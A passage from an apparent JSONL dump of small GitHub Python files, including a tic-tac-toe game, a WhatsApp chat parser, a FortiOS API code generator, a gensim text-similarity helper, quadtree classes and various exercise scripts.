# Check diagonals\n if self.board[0] == self.board[4] == self.board[8] != \" \":\n return True\n if self.board[2] == self.board[4] == self.board[6] != \" \":\n return True\n return False\n\n def check_tie(self):\n return \" \" not in self.board\n\n def reset_game(self):\n self.current_player = \"X\"\n self.board = [\" \"]*9\n for button in self.buttons:\n button.config(text=\" \")\n\nroot = tk.Tk()\ngame = TicTacToe(root)\nroot.geometry(\"500x500\")\nroot.mainloop()\n","repo_name":"sushil1392001/til_tac_toe_game","sub_path":"tic_tac_toe_game.py","file_name":"tic_tac_toe_game.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70819149389","text":"f = open('Data_Whatsup.txt','r',encoding='utf-8')\nfile_mesudar=f.read()\ndata_muzpan=dict()\nThe_list=list()\nfile_mesudar=file_mesudar.split('\\n')\nid=0\n\n\nmd=dict()\n\nfor line in file_mesudar:\n if \":\" in line[line.find('-')+2: ]: \n if line[line.find('-')+2:line.find(': ')] not in data_muzpan:\n id=id+1\n data_muzpan[line[line.find('-')+2:line.find(': ')]]=id \n data_muzpan['datetime']=line[:line.find(\"-\")-1]\n data_muzpan['id']=id\n data_muzpan['text']= line[line.find(': ')+1: ]\n \n The_list.append({\"datetime\":data_muzpan['datetime'],\"id\":data_muzpan['id'],\"text\": data_muzpan['text']})\nThe_list\n \nfor line in file_mesudar:\n if \"נוצרה על ידי\" in line:\n md['chat name']=line[line.find(' \"')+2:line.find('\" ')]\n md['date_creation']= line[:line.find('-')-1 ]\n md['num_of_participants']= id\n md['creator']= line[line.find('על ידי ')+9:len(line)-2].rstrip().lstrip() \n\nam={\"md\":md, \"messages\":The_list} \nimport json\nnewjson=json.dumps(am,ensure_ascii=False, indent=5) \n \nwith open(md['chat name']+'.txt' ,'w',encoding='utf-8') as f:\n f.write(newjson)","repo_name":"edenamara2/mat3","sub_path":"matala3.py","file_name":"matala3.py","file_ext":"py","file_size_in_byte":1144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21631214854","text":"import os\nimport re\n\napi_log_template = '''\nclass (Template):\n \"\"\"LOG API

    \"\"\"\n\n def __init__(self, logger, fgt, ):\n \"\"\"\n Parameters\n ----------\n logger : object\n Logger object for saving kinds of log level to mongodb and print to terminal.\n fgt : dict\n fgt is a dict with fgt detail info, eg: management ip, admin https port, api token...\n : str\n type of log that can be retrieved. \n \"\"\"\n self.logger = logger\n self.fgt = fgt\n assert type() == str, ' should be string'\n self. = \n self.path = '/' + self.\n'''\n\nfunction_template = ''' \n def (self, params=None):\n path =

    \n self.get(path=path, params=params)\n'''\n\ndownload_get_template = '''\n def (self, path=None, params=None, file_name=None, s3=False):\n p = self.path + '//'\n return super().download(path=p, params=params, file_name=file_name, s3=s3)\n'''\n\n\ndef create_py_file(output_folder, file):\n if not os.path.exists(output_folder + os.sep + file + '.py'):\n f = open(output_folder + os.sep + file + '.py', 'a+')\n f.truncate(0)\n f.write('from ..template import Template\\n\\n')\n f.flush()\n else:\n f = open(output_folder + os.sep + file + '.py', 'a+')\n return f\n\n\ndef create_CN(path_elements, element_index):\n CN = path_elements[element_index][0].upper() + path_elements[element_index][1:]\n letters = [char for char in CN]\n indexes = [m.start() for m in re.finditer('-', CN)]\n for i in indexes: letters[i + 1] = CN[i + 1].upper()\n CN = ''.join(letters)\n CN = CN.replace('-', '').replace('+', '')\n if CN[0].isdigit(): CN = \"_\" + CN\n return CN\n\n\ndef api_gen_log(api_group, output_path):\n method, path, enum = api_group['data'][0]\n path_elements = list(filter(None, path.split('/')))\n output_folder = output_path + os.sep + path_elements[0].replace('-', '_')\n\n if not os.path.exists(output_folder): os.mkdir(output_folder)\n f = open(output_folder + os.sep + '__init__.py', 'w+')\n f.close()\n\n type_label = ''\n for item in api_group['data']:\n if \"{\" in item[1]:\n type_label = item[1][item[1].find('{') + 1:item[1].find('}')]\n if type_label == 'type':\n type_label = 'types'\n break\n\n if api_group['type'] == 1:\n file = path_elements[1].replace('-', '_').replace('.', '_').replace('+', '_')\n f = create_py_file(output_folder, file)\n if type_label == '':\n CN = create_CN(path_elements, 1)\n x = api_log_template.replace('', CN).replace(', ', '').replace('

    ', path).replace(' + self.', '')\n x = x.replace('', path).split('\\n')\n del x[17:19], x[12:14]\n x = '\\n'.join(x)\n f.write(x)\n f.flush()\n elif type_label == 'session_id':\n CN = create_CN(path_elements, 0)\n P = path[0:path.find('{')]\n x = api_log_template.replace('', CN).replace('', type_label).replace('

    ', P).replace('', P)\n x = x.replace('', '').replace('str,', 'int,').replace('string', 'integer')\n x = 'str(self.session_id)'.join(x.rsplit('self.session_id', 1)).replace('//', '/').replace('\\t',' ')\n f.write(x)\n f.flush()\n f.close()\n\n elif api_group['type'] == 2:\n file = path_elements[0].replace('-', '_').replace('.', '_').replace('+', '_')\n f = create_py_file(output_folder, file)\n CN = create_CN(path_elements, 0)\n x = api_log_template.replace('', CN).replace('', type_label)\n x = x.replace('', '\\n\\t\\t\\tAvailable type of enums: [' + enum.replace(',', ', ') + ']')\n x = x.replace('', '/' + path_elements[0]).replace('

    ', path).replace('\\t',' ')\n f.write(x)\n f.flush()\n for item in api_group['data'][1:]:\n method, path, enum = item\n path_elements = list(filter(None, path.split('/')))\n F = path_elements[-1].replace('-', '_')\n if type_label not in path: path = path.replace('type', type_label)\n P = path.replace('{' + type_label + '}', \"' + \" + 'self.' + type_label + \" + '\")\n x = function_template.replace('', F).replace('

    ', \"'\" + P + \"/'\")\n if 'download' in path_elements[-1]:\n x = download_get_template.replace('', F).replace('', path_elements[-1])\n if 'raw' in path_elements[-1]:\n x = x.replace('self.get(', 'return self.get(')\n f.write(x)\n f.flush()\n f.close()\n\n elif api_group['type'] == 3:\n file = path_elements[1].replace('-', '_').replace('.', '_').replace('+', '_')\n f = create_py_file(output_folder, file)\n CN = create_CN(path_elements, 1)\n P = '/' + '/'.join(path_elements[0:2])\n x = api_log_template.replace('', CN).replace('', type_label)\n x = x.replace('', '\\n\\t\\t\\tAvailable type of enums: [' + enum.replace(',', ', ') + ']')\n x = x.replace('', P).replace('

    ', path).replace('\\t',' ')\n f.write(x)\n f.flush()\n for item in api_group['data'][1:]:\n method, path, enum = item\n path_elements = list(filter(None, path.split('/')))\n F = path_elements[-1].replace('-', '_')\n if type_label not in path: path = path.replace('type', type_label)\n P = path.replace('{' + type_label + '}', \"' + \" + 'self.' + type_label + \" + '\")\n x = function_template.replace('', F).replace('

    ', \"'\" + P + \"/'\")\n if 'raw' in path_elements[-1]:\n x = x.replace('self.get(', 'return self.get(')\n f.write(x)\n f.flush()\n f.close()\n\n\ndef runner(input_file, output_path):\n f = open(input_file, 'r+')\n api_list = f.read()\n f.close()\n\n raw_list = list(filter(None, api_list.split('\\n')))\n api_list = []\n for i in range(0, len(raw_list)):\n type = raw_list[i].split('|')[0].upper()\n path = raw_list[i].split('|')[1]\n enum = raw_list[i].split('|')[2]\n api_list.append((type, path, enum))\n\n api_list = list(set([i for i in api_list]))\n api_list.sort(key=lambda x: x[1])\n\n api_group = {}\n for i in range(0, len(api_list)):\n type, path, enum = api_list[i]\n path2 = '/' + '/'.join(list(filter(None, path.split('/')))[0:2])\n if path2 not in api_group.keys():\n api_group[path2] = {}\n api_group[path2]['type'] = 0\n api_group[path2]['data'] = []\n api_group[path2]['data'].append(api_list[i])\n else:\n api_group[path2]['data'].append(api_list[i])\n\n for key in api_group:\n group = api_group[key]\n if len(group['data']) == 1:\n api_group[key]['type'] = 1\n else:\n max_count = -1\n for type, api_path, enum in group['data']:\n if api_path.count('/') > max_count:\n max_count = api_path.count('/')\n\n if max_count == 3:\n api_group[key]['type'] = 2\n elif max_count == 4:\n api_group[key]['type'] = 3\n\n for item in api_group:\n api_gen_log(api_group[item], output_path)\n","repo_name":"liuyal/Code-Archive","sub_path":"Python/API/FortiOS_automation/scripts/FOS_API_Generator/fos_api_generator_log.py","file_name":"fos_api_generator_log.py","file_ext":"py","file_size_in_byte":7377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"23150037273","text":"import pandas as pd\nfrom matplotlib import pyplot as plt\nimport os\n\n#Change Folder Directory Path AND UNCOMMENT IT\n#os.chdir(r'/Users/User/Folder_Directory_Path')\n\nspecies = pd.read_csv('species_info.csv')\n\n#Create a new DataFrame called protection_counts, which is sorted by scientific_name\nspecies.scientific_name.nunique()\nspecies.category.unique()\nspecies.conservation_status.unique()\n\nspecies.groupby('conservation_status').scientific_name.nunique().reset_index()\n\nspecies.fillna('No Intervention', inplace=True)\n\nprotection_counts = species.groupby('conservation_status')\\\n .scientific_name.nunique().reset_index()\\\n .sort_values(by='scientific_name')\n\n#Create a bar chart\n#Start by creating a wide figure with figsize = (10,4)\nplt.figure(figsize=(10, 4))\n\n#Create an axes objected called ax using plt.subplot\nax = plt.subplot()\n\n#Create a bar chart whose heights are equal to the scientific_name column of protection_counts\nplt.bar(range(len(protection_counts)),protection_counts.scientific_name.values)\n\n#Create an x-tick for each of the bars.\n#Label each x-tick with the label from conservation_status in protection_counts.\nax.set_xticks(range(len(protection_counts)))\nax.set_xticklabels(protection_counts.conservation_status.values)\n\n#Label the y-axis Number of Species.\nplt.ylabel(\"Number of Species\")\n\n#Title the graph Conservation Status by Species\nplt.title(\"Conservation Status by Species\")\nlabels = [e.get_text() for e in ax.get_xticklabels()]\n\n#Plot the graph using plt.show()\nplt.show()","repo_name":"AgInsideOut/PyBiodiversity","sub_path":"Biodiversity.py","file_name":"Biodiversity.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6432663747","text":"from collections import defaultdict\nfrom gensim import corpora\nfrom gensim import models\nfrom gensim import similarities\nimport uuid\nimport nltk\nnltk.download('stopwords')\nfrom nltk.corpus import stopwords\n\nfrom cloud.integrated import *\n\n# Retrieve all (id,audio_text) for all audios on the current pi.\ndef retrieve_audio_texts():\n piId = hex(uuid.getnode())\n audio_ids, audio_texts = retrieveByRasberryPiId(hex(uuid.getnode()))\n return audio_ids, audio_texts\n\n# Clean up text by removing stop words and words that may not be relevant.\ndef clean_audio_texts(documents):\n # remove common words and tokenize\n stoplist = set('for a of the and to in'.split())\n # stop_words_nltk = set(stopwords.words('english'))\n texts = [\n [word for word in document.lower().split() if word not in stoplist]\n for document in documents\n ]\n\n # remove words that appear only once\n frequency = defaultdict(int)\n for text in texts:\n for token in text:\n frequency[token] += 1\n\n texts = [\n [token for token in text if frequency[token] > 1]\n for text in texts\n ]\n return texts\n\ndef create_lsi_model(texts):\n dictionary = corpora.Dictionary(texts)\n corpus = [dictionary.doc2bow(text) for text in texts]\n lsi = models.LsiModel(corpus, id2word=dictionary, num_topics=2)\n return dictionary, corpus, lsi\n\ndef get_best_answer_audio_id(question):\n # Retrieve all texts related to the current art piece.\n audio_ids, audio_texts = retrieve_audio_texts()\n texts = clean_audio_texts(audio_texts)\n dictionary, corpus, lsi = create_lsi_model(texts)\n vec_bow = dictionary.doc2bow(question.lower().split())\n vec_lsi = lsi[vec_bow] # convert the query to LSI space\n index = similarities.MatrixSimilarity(lsi[corpus])\n index.save('/tmp/deerwester.index')\n index = similarities.MatrixSimilarity.load('/tmp/deerwester.index')\n sims = index[vec_lsi] # perform a similarity query against the corpus\n sims = sorted(enumerate(sims), key=lambda item: -item[1])\n #print(sims)\n for i, s in sims:\n print(s, audio_texts[i])\n return audio_ids[sims[0][0]]\n\n#print(get_best_answer_audio_id(\"What was fascinating about the cat?\"))","repo_name":"SalomeWairimu/Whispers","sub_path":"text_similarity.py","file_name":"text_similarity.py","file_ext":"py","file_size_in_byte":2223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21983228347","text":"import random\nimport pyttsx3\nimport speech_recognition as sr\nlistener = sr.Recognizer()\nengine = pyttsx3.init()\nvoices = engine.getProperty('voices')\nengine.setProperty('voice', voices[1].id)\n\n\ndef talk(text):\n engine.say(text)\n engine.runAndWait()\n\n\ndef take_command():\n try:\n with sr.Microphone() as source:\n print('listening....')\n listener.adjust_for_ambient_noise(source, duration=1) # for accurate audio\n voice = listener.listen(source)\n command = listener.recognize_google(voice)\n command = command.lower()\n return command\n except:\n talk(\"can't take the command\")\n return \"None\"\n\n\ndef game():\n moves = [\"rock\", \"paper\", \"scissor\"]\n talk(\"choose among rock paper or scissor\")\n pmove = take_command()\n talk(\"your choice is\" + pmove)\n cmove = random.choice(moves)\n talk(\"I choose \" + cmove)\n if pmove == cmove:\n talk(\"the match draw\")\n elif pmove == \"rock\" and cmove == \"paper\":\n talk(\"you won\")\n elif pmove == \"rock\" and cmove == \"scissor\":\n talk(\"you won\")\n elif pmove == \"paper\" and cmove == \"scissor\":\n talk(\"i won\")\n elif pmove == \"paper\" and cmove == \"rock\":\n talk(\"i won\")\n elif pmove == \"scissor\" and cmove == \"paper\":\n talk(\"you won\")\n elif pmove == \"scissor\" and cmove == \"rock\":\n talk(\"i won\")\n","repo_name":"kaal-coder/hacktoberfest2023","sub_path":"Python Projects/Virtual-Assistant-Alexa-main/Virtual-Assistant-Alexa-main/Alexa - Virtual Assistant/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","stars":158,"dataset":"github-code","pt":"82"} +{"seq_id":"4111239567","text":"import numpy as np\nfrom ..config import ConfigError\nfrom ..representation import FacialLandmarks3DAnnotation\nfrom .format_converter import DirectoryBasedAnnotationConverter, ConverterReturn\n\ntry:\n import scipy.io as scipy_io\nexcept ImportError:\n scipy_io = None\n\n\nclass AFLW20003DConverter(DirectoryBasedAnnotationConverter):\n __provider__ = 'aflw2000_3d'\n\n def __init__(self, config=None):\n if scipy_io is None:\n raise ConfigError(\n '{} converter require scipy installation. Please install it before usage.'.format(self.__provider__)\n )\n super().__init__(config)\n\n def convert(self, check_content=False, progress_callback=None, progress_interval=100, **kwargs):\n images_list = list(self.data_dir.glob('*.jpg'))\n num_iterations = len(images_list)\n content_errors = [] if check_content else None\n annotations = []\n for img_id, image in enumerate(images_list):\n annotation_file = self.data_dir / image.name.replace('jpg', 'mat')\n if not annotation_file.exists():\n if check_content:\n content_errors.append('{}: does not exists'.format(str(annotation_file)))\n continue\n\n image_info = scipy_io.loadmat(str(annotation_file))\n x_values, y_values, z_values = image_info['pt3d_68']\n x_min, y_min = np.min(x_values), np.min(y_values)\n x_max, y_max = np.max(x_values), np.max(y_values)\n annotation = FacialLandmarks3DAnnotation(image.name, x_values, y_values, z_values)\n annotation.metadata['rect'] = [x_min, y_min, x_max, y_max]\n annotation.metadata['left_eye'] = [36, 39]\n annotation.metadata['right_eye'] = [42, 45]\n annotations.append(annotation)\n if progress_callback is not None and img_id % progress_interval:\n progress_callback(img_id / num_iterations * 100)\n\n return ConverterReturn(annotations, None, content_errors)\n","repo_name":"artanokhov/open_model_zoo","sub_path":"tools/accuracy_checker/accuracy_checker/annotation_converters/aflw2000_3d.py","file_name":"aflw2000_3d.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"82"} +{"seq_id":"7809782266","text":"\"\"\" Example script of how to train the model. \"\"\"\n\n\nfrom time import time\nimport logging\n\nfrom skipgram.train import init_training\nfrom skipgram.embeddings import get_embeddings\n\n\nrun_id = int(time()) # ID of this training run\nlogging.basicConfig(\n filename=f'logs/training_{run_id}.log',\n level=logging.INFO\n)\nvocab_file = 'tests/data/full/vocab.json'\ndata_file = 'tests/data/full/data.txt'\nneg_samples = 2\nwindow = 1\nbatch_size = 4\nn_dims = 3\ninit_training(run_id, vocab_file, data_file, neg_samples, window,\n n_dims, batch_size) # train the model\nget_embeddings(run_id, epoch=5, n_dims=n_dims, dump_file='embeddings.json')\n","repo_name":"carlosfranzreb/skipgram","sub_path":"train_skipgram.py","file_name":"train_skipgram.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16704321145","text":"from rest_framework import serializers\nfrom student_dash.models import examtype, table, studentattendence\nfrom rest_framework import serializers\n\nclass studentattendenceSerializer(serializers.ModelSerializer):\n class Meta:\n model = studentattendence\n fields = ('attendence',)\n\nclass examtypeSerializer(serializers.ModelSerializer):\n #inheritence serializer\n class Meta:\n model = examtype\n fields = ('max_marks', 'exam_type',)\n\nclass tableSerializer(serializers.ModelSerializer):\n exam = examtypeSerializer()\n attendence = studentattendenceSerializer()\n class Meta:\n model = table\n fields = ('course_id', 'proff_id', 'student_id' ,'marks','student_name', 'exam', 'attendence',)\n\n\n \n","repo_name":"adityamehracr7/ASE1","sub_path":"smartclass/django-dashboard/dashboard/student_dash/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19990298805","text":"import urllib.request\n\nfrom pip._vendor.distlib.compat import raw_input\n\nimport data_ops\nimport string\nimport os\n\nimport stat_var\n\n\ndef download_file():\n\n question = raw_input(\"czy pobrac plik z internetu?\")\n if question == \"T\" :\n address = raw_input(\"podaj adres do sciagniecia\")\n try:\n print(\"Sciaganie pliku....\")\n urllib.request.urlretrieve(address, stat_var.local_file_name)\n print(\"Gotowe\")\n return stat_var.local_file_name\n except urllib.error.URLError:\n print(\"nie mozna sciagnac pliku\")\n elif question == \"N\":\n local_file = raw_input(\"podaj adres nazwe pliku lokalnego\")\n if os.path.exists(local_file):\n return local_file\n else:\n print(\"brak pliku\")\n return 0\n\n\ndef write_statistics():\n file = open(stat_var.stat_file, \"w+\")\n file.write(data_ops.get_count_letter() + \"\\n\")\n file.write(\"liczba wyrazow: \" + str(data_ops.get_count_words()) + \"\\n\")\n file.write(\"liczba znakow interpunkcyjnych: \" + str(data_ops.get_count_punctuation()) + \"\\n\")\n file.write(\"liczba zdań: \" + str(data_ops.get_count_sentences()) + \"\\n\")\n file.close()\n\n\ndef remove_files():\n if os.path.exists(stat_var.stat_file):\n os.remove(stat_var.stat_file)\n print(\"usunieto plik statystyki\")\n\n else:\n print(\"plik statystyki nie istnieje\")\n if os.path.exists(stat_var.local_file_name):\n os.remove(stat_var.local_file_name)\n print(\"usunieto plik z danymi\")\n else:\n print(\"plik z danymi nie istnieje\")","repo_name":"cichutkiii/grouptask","sub_path":"file_ops.py","file_name":"file_ops.py","file_ext":"py","file_size_in_byte":1584,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21693770722","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/5/25 23:45\n# @Author : LTstrange\nimport pygame\nfrom pygame import Rect\nfrom pygame.color import THECOLORS\n\n\nclass Quadtree:\n def __init__(self, boundary: Rect, n: int, screen):\n self.boundary = boundary\n self.capacity = n\n\n self.points = []\n self.divided = False\n\n self.screen = screen\n\n def insert(self, particle, depth=0):\n if not self.boundary.collidepoint(particle.rect.centerx, particle.rect.centery):\n return False\n if len(self.points) < self.capacity:\n # particle.highlight = True\n self.points.append(particle)\n else:\n if not self.divided:\n self.subdivide()\n\n self.northeast.insert(particle, depth + 1)\n self.northwest.insert(particle, depth + 1)\n self.southeast.insert(particle, depth + 1)\n self.southwest.insert(particle, depth + 1)\n\n def subdivide(self):\n x = self.boundary.x\n y = self.boundary.y\n centerx = self.boundary.centerx\n centery = self.boundary.centery\n width = self.boundary.width / 2\n height = self.boundary.height / 2\n\n ne = Rect(x, y, width, height)\n self.northeast = Quadtree(ne, self.capacity, self.screen)\n nw = Rect(centerx, y, width, height)\n self.northwest = Quadtree(nw, self.capacity, self.screen)\n se = Rect(x, centery, width, height)\n self.southeast = Quadtree(se, self.capacity, self.screen)\n sw = Rect(centerx, centery, width, height)\n self.southwest = Quadtree(sw, self.capacity, self.screen)\n\n self.divided = True\n\n def show(self):\n pygame.draw.rect(self.screen, THECOLORS['white'], self.boundary, 1)\n\n if self.divided:\n self.northeast.show()\n self.northwest.show()\n self.southeast.show()\n self.southwest.show()\n\n def query(self, rect: Rect):\n found = set()\n if self.boundary.colliderect(rect):\n for p in self.points:\n if rect.collidepoint(p.x, p.y):\n found.add(p)\n if self.divided:\n found.update(self.northeast.query(rect))\n found.update(self.northwest.query(rect))\n found.update(self.southeast.query(rect))\n found.update(self.southwest.query(rect))\n return found\n","repo_name":"LTstrange/quadtree","sub_path":"quadtree.py","file_name":"quadtree.py","file_ext":"py","file_size_in_byte":2420,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"14074372625","text":"import unittest\nimport os\nimport glob\n\nclass TestCase(unittest.TestCase):\n\tdef testFilesWithTranslations(self):\n\t\t\"\"\"Test if all files specified in filesWithTranslations exist.\n\n\t\t\"\"\"\n\t\tfor mod in self._mm.mods:\n\t\t\tif not hasattr(mod, \"filesWithTranslations\"):\n\t\t\t\tcontinue\n\t\t\tdirectory = os.path.dirname(mod.__class__.__file__)\n\t\t\tfiles = mod.filesWithTranslations\n\t\t\tfor file in files:\n\t\t\t\tpath = os.path.join(directory, file)\n\t\t\t\tself.assertTrue(os.path.exists(path), msg=\"Mod %s's filesWithTranslations contains %s, but that doesn't exist.\" % (mod.__class__.__file__, file))\n\n\n\tdef testPotFiles(self):\n\t\t\"\"\"Test if every module with a translations dir has a .pot file\n\t\t in place, which is required.\n\n\t\t\"\"\"\n\t\tpotFiles = set()\n\t\tfor mod in self._mm.mods:\n\t\t\tbase = os.path.dirname(mod.__class__.__file__)\n\t\t\tdir = os.path.join(base, \"translations\")\n\t\t\tif not os.path.exists(dir):\n\t\t\t\tcontinue\n\t\t\tmatches = glob.glob(os.path.join(dir, \"*.pot\"))\n\n\t\t\tself.assertEqual(len(matches), 1, msg=\"No pot file at %s\" % base)\n\t\t\tself.assertNotIn(matches[0], potFiles)\n\t\t\tpotFiles.add(matches[0])\n\n\tdef testLanguageChanged(self):\n\t\t\"\"\"Tests if:\n\t\t 1. translator mods have a working sendLanguageChanged\n\t\t method.\n\t\t 2. modules subscribing to events offered by the translator\n\t\t modules are doing that correctly (i.e. don't crash when\n\t\t the actual events are send.)\n\n\t\t\"\"\"\n\t\tif self.mode not in (\"all\", \"translation\"): # pragma: no cover\n\t\t\tself.skipTest(\"Too heavy for this test mode.\")\n\t\tfor mod in self._mm.mods(\"active\", type=\"translator\"):\n\t\t\tmod.sendLanguageChanged()\n\nclass TestModule(object):\n\tdef __init__(self, moduleManager, *args, **kwargs):\n\t\tsuper(TestModule, self).__init__(*args, **kwargs)\n\t\tself._mm = moduleManager\n\n\t\tself.type = \"test\"\n\t\tself.uses = (\n\t\t\tself._mm.mods(type=\"translator\"),\n\t\t)\n\n\tdef enable(self):\n\t\tself.TestCase = TestCase\n\t\tself.TestCase._mm = self._mm\n\t\tself.active = True\n\n\tdef disable(self):\n\t\tself.active = False\n\t\tdel self.TestCase\n\ndef init(moduleManager):\n\treturn TestModule(moduleManager)\n","repo_name":"LenaWil/openteacher","sub_path":"modules/org/openteacher/logic/translationTest/translationTest.py","file_name":"translationTest.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13522013490","text":"import numpy as np\r\nimport torch\r\nimport transformers as ppb # pytorch transformers\r\nfrom sklearn.linear_model import LogisticRegression\r\nimport importlib\r\nimport lib.data_processing as lib\r\nfrom sklearn.metrics import confusion_matrix\r\n\r\nimportlib.reload(lib)\r\n\r\n#read the data\r\nTRAIN_FP = 'bias_data/bias_data/WNC/biased.word.train'\r\nTEST_FP = 'bias_data/bias_data/WNC/biased.word.test'\r\n\r\nwnc_train = lib.raw_data(TRAIN_FP, 3, 4)\r\nwnc_train_df = wnc_train.add_miss_word_col(dtype='df')\r\n\r\nwnc_test = lib.raw_data(TEST_FP, 3, 4)\r\nwnc_test_df = wnc_test.add_miss_word_col(dtype='df')\r\n\r\ntrain_data_num=1000\r\ntrain_df = wnc_train.make_training_array(wnc_train_df)\r\ntrain_df=train_df.head(train_data_num)\r\ntest_data_num=200\r\ntest_df = wnc_test.make_training_array(wnc_test_df)\r\ntest_df=test_df.head(test_data_num)\r\n\r\nmodel_class, tokenizer_class, pretrained_weights = (ppb.DistilBertModel, ppb.DistilBertTokenizer, 'distilbert-base-uncased')\r\n\r\n# Load pretrained model/tokenizer\r\ntokenizer = tokenizer_class.from_pretrained(pretrained_weights)\r\nmodel = model_class.from_pretrained(pretrained_weights)\r\n\r\ntokenized_train = train_df[\"string\"].apply((lambda x: tokenizer.encode(x, add_special_tokens=True)))\r\ntokenized_test = test_df[\"string\"].apply((lambda x: tokenizer.encode(x, add_special_tokens=True)))\r\n\r\n#padding\r\nlength_of_tokens_train=np.empty(tokenized_train.shape[0])\r\nfor i in range(tokenized_train.shape[0]):\r\n length_of_tokens_train[i]=len(tokenized_train[i])\r\npadding_length_train=max(length_of_tokens_train)\r\nfor i in range(tokenized_train.shape[0]):\r\n tokenized_train[i]+=[0 for i in range(int(padding_length_train)-len(tokenized_train[i]))]\r\n\r\nlength_of_tokens_test=np.empty(tokenized_test.shape[0])\r\nfor i in range(tokenized_test.shape[0]):\r\n length_of_tokens_test[i]=len(tokenized_test[i])\r\npadding_length_test=max(length_of_tokens_test)\r\nfor i in range(tokenized_test.shape[0]):\r\n tokenized_test[i]+=[0 for i in range(int(padding_length_test)-len(tokenized_test[i]))]\r\n\r\ninput_ids_train = torch.tensor(tokenized_train)\r\ninput_ids_test = torch.tensor(tokenized_test)\r\n\r\nwith torch.no_grad():\r\n last_hidden_states_train = model(input_ids_train)\r\nwith torch.no_grad():\r\n last_hidden_states_test = model(input_ids_test)\r\n\r\n# Slice the output for the first position for all the sequences, take all hidden unit outputs\r\nfeatures_train = last_hidden_states_train[0][:,0,:].numpy()\r\nfeatures_test = last_hidden_states_test[0][:,0,:].numpy()\r\n\r\nlabels_train = train_df[\"label\"]\r\nlabels_test = test_df[\"label\"]\r\n\r\nlr_clf = LogisticRegression(max_iter=5000)\r\nlr_clf.fit(features_train, labels_train)\r\n\r\ny_pred=lr_clf.predict(features_test)\r\nConfusion_Matrix=confusion_matrix(labels_test,y_pred)\r\n\r\nprint(Confusion_Matrix)","repo_name":"adimaini/bias-scoring-algorithm","sub_path":"DistlBERT.py","file_name":"DistlBERT.py","file_ext":"py","file_size_in_byte":2745,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"4014477406","text":"\"\"\"\n@created by: heyao\n@created at: 2022-09-19 16:13:47\nfrom: https://discuss.pytorch.org/t/non-linear-regression-methods/62060\n\"\"\"\nimport torch\n\n\ndef hinge_loss(outputVal, dataOutput, model):\n loss1 = torch.sum(torch.clamp(1 - torch.matmul(outputVal.t(), dataOutput), min=0))\n loss2 = torch.sum(model.head.weight ** 2) # l2 penalty\n totalLoss = loss1 + loss2\n return totalLoss / (outputVal.shape[0] * 6)\n","repo_name":"rbiswasfc/kaggle-feedback3-efficiency-1st-place","sub_path":"yao_code/feedback_ell/nn/losses/hinge.py","file_name":"hinge.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"82"} +{"seq_id":"36120396918","text":"#\r\n# @lc app=leetcode.cn id=7 lang=python3\r\n#\r\n# [7] 整数反转\r\n#\r\n\r\n# @lc code=start\r\nimport math\r\nclass Solution:\r\n def reverse(self, x: int) -> int:\r\n result = 0\r\n while(x != 0):\r\n if (x >= 0):\r\n first = x % 10\r\n else:\r\n first = x % 10 - 10\r\n if (first == -10):\r\n first = 0\r\n x = math.trunc(x/10)\r\n result = result*10 + first\r\n MIN = -2**31\r\n MAX = 2**31-1\r\n return result if result > MIN and result < MAX else 0\r\n# @lc code=end\r\n","repo_name":"joyiming/leetcode","sub_path":"py.easy/math.7.整数反转.py","file_name":"math.7.整数反转.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72406890508","text":"# I will try to design a scrip that emulatesa traffic light an its logic to control a data flux.\n\n\nfrom tqdm import tqdm\nimport time\n\ndef traffic_light():\n\n while True:\n print(\"Red\")\n time.sleep(5)\n\n print(\"Green\")\n time.sleep(10)\n \n print(\"Yellow\")\n time.sleep(2)\n\ntraffic_light()\n\nfor i in tqdm(range(10)):\n time.sleep(1)","repo_name":"Vladzmano/thinking_in_python","sub_path":"Python_101/Challenges/traffic_light.py","file_name":"traffic_light.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"13085593184","text":"import subprocess\n\n# use enviornment py38\n\nif __name__ == '__main__':\n child_processes = []\n\n nm_config = [[10000, 100], [40000, 200], [160000, 400], [360000, 600], [640000, 800], [1000000, 1000]]\n import multiprocessing\n num_cores = multiprocessing.cpu_count()\n mf_eval = 'False'\n equal_time = 'True' # if you want to run for equal time for all delta_t\n all_dir = [\n ''\n ]\n for no_agents, no_queues in nm_config:\n for curr_dir in all_dir:\n p = subprocess.Popen(['python', '-m', 'testing_trainer.evaluate_policy', str(no_agents), str(no_queues),\n curr_dir, mf_eval, equal_time])\n child_processes.append(p)\n if len(child_processes) > num_cores-1:\n for p in child_processes:\n p.wait()\n child_processes = []\n\n for p in child_processes:\n 